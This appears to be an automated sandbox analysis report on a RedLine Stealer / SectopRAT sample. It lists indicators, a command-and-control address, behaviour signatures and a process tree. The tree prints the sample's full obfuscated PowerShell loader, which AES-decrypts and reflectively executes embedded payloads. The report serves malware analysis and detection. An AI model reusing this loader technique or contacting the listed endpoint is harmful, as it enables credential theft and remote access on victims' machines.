Analysis
- max time kernel
235s - max time network
300s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/05/2024, 18:01
General
- Target build.exe
- Size 351KB
- Sample240505-wlx2dabg97
- SHA256 18c790568c6e0e30d600135a33a9e41ff55e076600fec006772d95849abc4def
Malware Config
Extracted
-
redline
-
cheat
-
ii-restored.gl.at.ply.gg:43416
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 1 IoCs
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\build.exe"C:\Users\Admin\AppData\Local\Temp\build.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c "build.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imoYPv8IKhFzZbUQGc9tLwtVTdE/LpsrhzYrOXefWdo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g+kpXPmwAsGMTyt1EM/xyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tjyzH=New-Object System.IO.MemoryStream(,$param_var); $xDXZb=New-Object System.IO.MemoryStream; $QPesd=New-Object System.IO.Compression.GZipStream($tjyzH, [IO.Compression.CompressionMode]::Decompress); $QPesd.CopyTo($xDXZb); $QPesd.Dispose(); $tjyzH.Dispose(); $xDXZb.Dispose(); $xDXZb.ToArray();}function execute_function($param_var,$param2_var){ $hVNQH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKjxO=$hVNQH.EntryPoint; $uKjxO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$rMjrX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($NJxiO in $rMjrX) { if ($NJxiO.StartsWith(':: ')) { $kXTzm=$NJxiO.Substring(3); break; }}$payloads_var=[string[]]$kXTzm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4056 --field-trial-handle=2256,i,6670388345726423024,18382795228658886258,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
build.bat
__PSScriptPolicyTest_q0dmasjv.h1u.ps1
tmp5FEF.tmp
tmp6014.tmp
tmp606E.tmp
tmp6084.tmp
tmp60CE.tmp
memory/3956-28-0x0000000006660000-0x0000000006696000-memory.dmp
memory/3956-32-0x00000000073C0000-0x00000000073D2000-memory.dmp
memory/3956-9-0x0000000005950000-0x00000000059B6000-memory.dmp
memory/3956-16-0x0000000005AB0000-0x0000000005E04000-memory.dmp
memory/3956-21-0x0000000005FF0000-0x000000000600E000-memory.dmp
memory/3956-22-0x00000000060D0000-0x000000000611C000-memory.dmp
memory/3956-23-0x000000007459E000-0x000000007459F000-memory.dmp
memory/3956-24-0x0000000074590000-0x0000000074D40000-memory.dmp
memory/3956-25-0x00000000078D0000-0x0000000007F4A000-memory.dmp
memory/3956-26-0x00000000065A0000-0x00000000065BA000-memory.dmp
memory/3956-27-0x0000000002690000-0x0000000002698000-memory.dmp
memory/3956-8-0x0000000005240000-0x0000000005262000-memory.dmp
memory/3956-29-0x00000000072F0000-0x000000000730E000-memory.dmp
memory/3956-30-0x0000000074590000-0x0000000074D40000-memory.dmp
memory/3956-31-0x0000000009570000-0x0000000009B88000-memory.dmp
memory/3956-10-0x00000000059C0000-0x0000000005A26000-memory.dmp
memory/3956-33-0x0000000007420000-0x000000000745C000-memory.dmp
memory/3956-34-0x0000000074590000-0x0000000074D40000-memory.dmp
memory/3956-35-0x0000000007580000-0x000000000768A000-memory.dmp
memory/3956-37-0x0000000009220000-0x00000000093E2000-memory.dmp
memory/3956-38-0x000000000A0C0000-0x000000000A5EC000-memory.dmp
memory/3956-39-0x000000000ABA0000-0x000000000B144000-memory.dmp
memory/3956-40-0x0000000009180000-0x0000000009212000-memory.dmp
memory/3956-41-0x00000000090E0000-0x0000000009156000-memory.dmp
memory/3956-42-0x0000000009160000-0x000000000917E000-memory.dmp
memory/3956-7-0x00000000052B0000-0x00000000058D8000-memory.dmp
memory/3956-6-0x0000000074590000-0x0000000074D40000-memory.dmp
memory/3956-5-0x0000000074590000-0x0000000074D40000-memory.dmp
memory/3956-4-0x0000000002B30000-0x0000000002B66000-memory.dmp
memory/3956-3-0x000000007459E000-0x000000007459F000-memory.dmp
memory/3956-191-0x0000000074590000-0x0000000074D40000-memory.dmp
memory/3956-194-0x0000000074590000-0x0000000074D40000-memory.dmp